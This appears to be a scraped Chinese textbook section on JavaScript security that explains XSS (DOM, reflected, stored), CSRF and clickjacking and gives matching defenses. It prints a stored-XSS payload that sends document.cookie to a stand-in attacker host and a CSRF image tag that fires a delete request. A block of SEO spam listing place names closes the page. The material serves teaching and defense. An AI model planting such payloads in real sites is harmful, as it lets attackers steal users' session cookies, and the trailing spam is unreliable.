官术网_书友最值得收藏!

2.2 JavaScript技術(shù)

JavaScript是由Netscape公司開發(fā)的一種腳本語言,是目前因特網(wǎng)上最流行的腳本語言之一,并且可在目前主要的瀏覽器中運(yùn)行,其目的是擴(kuò)展基本的HTML功能,處理Web網(wǎng)頁表單信息,為Web網(wǎng)頁增加動(dòng)態(tài)效果。

1.JavaScript基礎(chǔ)

在客戶端的應(yīng)用中很難將JavaScript程序和HTML文檔分開,JavaScript代碼總是和HTML一起使用的,它的各種對象都有各自的HTML標(biāo)記,當(dāng)HTML文檔在瀏覽器中被打開時(shí),JavaScript代碼才被執(zhí)行。JavaScript代碼使用HTML標(biāo)記<script></script>嵌入HTML文檔中。它擴(kuò)展了標(biāo)準(zhǔn)的HTML,為HTML標(biāo)記增加了事件,通過事件驅(qū)動(dòng)來執(zhí)行JavaScript代碼。

2.JavaScript安全攻擊

(1)跨站腳本攻擊

通過插入惡意的HTML和JavaScript腳本來攻擊網(wǎng)站,盜取用戶Cookie、破壞頁面結(jié)構(gòu)、重定向到其他網(wǎng)站。常見的XSS有3種。

● 基于文檔對象模型(Document Object Model,DOM)的XSS:DOM的樹形結(jié)構(gòu)會(huì)動(dòng)態(tài)地將惡意代碼嵌入頁面、框架、程序或API而實(shí)現(xiàn)的跨站攻擊。例如,如果程序編碼<h1><?php echo $title ?></h1>,用于接收用戶輸入的標(biāo)題,而用戶輸入的$title為'<script>惡意JS攻擊代碼</script>',這時(shí)經(jīng)過DOM解析就會(huì)出現(xiàn)XSS攻擊。

● 反射式XSS(非持久性XSS):惡意腳本未經(jīng)轉(zhuǎn)義被直接輸入并作為HTML輸出的一部分,惡意腳本不在后臺(tái)存儲(chǔ),直接在前端瀏覽器被執(zhí)行。例如,用戶在搜索框輸入<script>惡意JS代碼</script>。

● 存儲(chǔ)式XSS(持久性XSS):惡意腳本被后臺(tái)存儲(chǔ),后期被其他用戶或管理員單擊展示從而實(shí)現(xiàn)攻擊,危害面更廣。例如,某旅行日記網(wǎng)站(blog.com)可以寫日記,攻擊者登錄后在blog.com中發(fā)布了一篇文章,文章中包含了惡意代碼,<script>window.open("www.attack.com?param="+document.cookie)</script>,如果普通用戶訪問日記網(wǎng)站看到這篇文章,用戶的Cookie信息就會(huì)發(fā)送到攻擊者預(yù)設(shè)的服務(wù)器上。

(2)跨站請求偽造(Cross Site Request Forgery,CSRF)

攻擊者可以偽造某個(gè)請求的所有參數(shù),在B站發(fā)起一個(gè)屬于A站的請求,這就是跨站請求。例如,GET http://a.com/item/delete?id=1,客戶登陸了A站,然后又去訪問B站,在B站請求了一張圖片<img src="http://a.com/item/delete?id=1"/>,這時(shí)受害者在不知道的情況下發(fā)起了一個(gè)刪除請求。

(3)點(diǎn)擊劫持(ClickJacking)

惡意攻擊者用一個(gè)透明的iframe覆蓋在網(wǎng)頁上,欺騙客戶在這個(gè)iframe上操作。

3.JavaScript安全防護(hù)

(1)對于XSS攻擊的防護(hù)

不要信任任何用戶輸入,對輸入的具體特殊字符、長度和類型等的數(shù)據(jù)進(jìn)行過濾處理,使用輸入白名單控制。

對輸出的數(shù)據(jù)使用HTML編碼,對一些字符做轉(zhuǎn)義處理,所有HTML和XML中輸出的數(shù)據(jù),都需要做HTML轉(zhuǎn)義處理(Html Escape)。

為Cookie設(shè)置httponly和secure屬性,避免攻擊者通過document.cookie盜取合法用戶的Cookie。

(2)對于CSRF攻擊的防護(hù)

每一個(gè)請求都加一個(gè)變動(dòng)的、不可預(yù)先知道的CSRFToken,服務(wù)器端對每個(gè)請求都驗(yàn)證CSRFToken。

(3)對于點(diǎn)擊劫持的防護(hù)

在HTTP頭,X-Frame-Options根據(jù)實(shí)際需要,設(shè)置正確的值,設(shè)置如下。

● DENY:禁止任何頁面的frame加載。

● SAMEORIGIN:只允許同源頁面的frame加載。

● ALLOW-FROM:可定義允許frame加載的頁面地址。

主站蜘蛛池模板: 邓州市| 冀州市| 六枝特区| 兴仁县| 澜沧| 区。| 平利县| 延安市| 宜宾市| 广饶县| 虞城县| 多伦县| 武强县| 陇川县| 浠水县| 平乡县| 富顺县| 杭州市| 依兰县| 特克斯县| 新津县| 天镇县| 利津县| 伊宁县| 马鞍山市| 科技| 汶上县| 宁强县| 青阳县| 新丰县| 仁化县| 德钦县| 邯郸市| 博爱县| 珲春市| 余干县| 盐亭县| 石阡县| 米林县| 乌恰县| 德钦县|